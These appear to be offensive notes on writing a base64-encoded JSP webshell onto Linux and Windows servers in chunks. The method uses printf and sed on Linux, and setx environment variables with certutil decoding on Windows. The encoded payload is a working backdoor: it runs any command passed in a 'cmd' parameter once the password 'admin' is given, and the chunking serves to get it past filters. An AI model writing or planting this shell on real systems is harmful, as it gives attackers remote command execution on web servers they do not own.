Writing Base64-encoded Webshells on Linux and Windows Systems
Notes
1
Overview
This document outlines methods for writing webshells using base64 encoding on both Linux and Windows platforms.
Linux Webshell Creation
- Prepare the payload.
- Encode it in base64 (recommended tool: http://www.hiencode.com).
- Split the encoded content into sgements and write each part separately.
First Segment
printf 'PCUKICAgIGlmKCJhZG1pbiIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkpewogICAgICAgIGphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKS' > ./payload.jsp
Second Segment
To append the second part correctly, use the following commmand:
sed -i 's/$/kuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICBpbnQgYSA9IC0xOwogICAgICAgIGJ5dGVbXSBiID0gbmV3IGJ5dGVbMjA0OF07CiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOwogICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7CiAgICAgICAgICAgIG91dC5wcmludGxuKG5ldyBTdHJpbmcoYikpOwogICAgICAgIH0KICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpOwogICAgfQolPg==/' ./payload.jsp
Decoding the Final File
cat ./payload.jsp | base64 -d > ./final_shell.jsp
Windows Webshell Creation
- Set persistent environment variables.
Setting Environment Variables
setx chunk_1 PCUKICAgIGlmKCJhZG1pbiIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkpewogICAgICAgIGphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKS
setx chunk_2 kuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICBpbnQgYSA9IC0xOwogICAgICAgIGJ5dGVbXSBiID0gbmV3IGJ5dGVbMjA0OF07CiAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOwogICAgICAgIHdoaWxlKChhPWluLnJlYWQoYikpIT0tMSl7CiAgICAgICAgICAgIG91dC5wcmludGxuKG5ldyBTdHJpbmcoYikpOwogICAgICAgIH0KICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpOwogICAgfQolPg==
- Write the combined output to a file.
echo %chunk_1%%chunk_2% > ./output.txt
- Decode and save to the web directory.
certutil -decode ./output.txt D:\git\phpStudy\PHPTutorial\WWW\shell.jsp
